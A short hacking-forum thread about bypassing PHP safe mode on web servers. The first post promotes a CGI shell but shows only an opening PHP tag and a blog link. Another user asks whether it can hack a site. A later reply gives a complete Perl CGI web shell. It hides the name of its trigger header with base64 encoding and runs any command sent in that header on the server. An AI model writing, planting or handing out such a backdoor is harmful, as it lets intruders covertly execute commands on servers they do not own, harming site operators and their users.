Thread: [CGI-C Shell - Safe Mode Bypass Shell \[Win/Linux\]](#)

cheatson - May 18, 2013, 9:26 pm

I saw a few questions relating to safe mode recently. There are a lot of techniques to bypass safe mode and some good tutorials on the site for the general cases. If none of these work, and you are able to use the CGI interface, bypassing safe mode becomes trivial!

Although a perl, python, and even php CGI implementation would be far simpler and often desirable, if those aren't accessible, try my CGI C shell for linux and windows!

PHP Code

```
<?php
```

You can find the source on my blog: hackers2devnull.blogspot.co.uk :-)

can this be used to hack a site sir ??

F3lix666 - January 16, 2014, 4:16 pm

Write your own CGI SHELL

```
#!/usr/bin/perl
use CGI qw(:standard);
use MIME::Base64 qw(decode_base64);

print header;
$dom = $ENV{decode_base64( "SFRUUF9BQ0NFUFRfRkVMSVg=" )};
if($dom)
{
    print "::$dom\n";
    $bs=`$dom 2>&1`;
    print pre($bs);
}
```

Its a header shell
ACCEPT_FELIX
